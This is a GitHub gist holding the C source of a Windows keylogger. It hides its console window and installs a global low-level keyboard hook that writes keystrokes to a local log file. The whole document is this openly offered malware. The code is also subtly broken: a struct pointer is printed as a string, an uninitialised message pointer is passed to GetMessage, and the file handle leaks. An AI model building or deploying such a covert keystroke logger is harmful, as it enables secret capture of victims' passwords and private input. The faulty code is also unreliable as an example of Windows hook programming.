Skip to content

Instantly share code, notes, and snippets.

@5nyper
Last active June 3, 2023 15:27
Show Gist options
  • Save 5nyper/24301454f4137688b563 to your computer and use it in GitHub Desktop.
Save 5nyper/24301454f4137688b563 to your computer and use it in GitHub Desktop.
Simple C keylogger with hook
#include <stdio.h>
#include <windows.h>
#include <winuser.h>
HHOOK hook;
LPMSG msg;
FILE *LOG;
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam){
LOG = fopen("LOG.txt", "a+");
if (wParam == WM_KEYDOWN)
{
fputs((char *)lParam, LOG);
fclose(LOG);
}
return CallNextHookEx(hook,code,wParam,lParam);
}
int main() {
Stealth();
hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hook != NULL)
puts("All is good");
else
puts("Something went wrong :(");
while(GetMessage(msg, NULL, 0, 0) > 0) {
TranslateMessage(msg);
DispatchMessage(msg);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment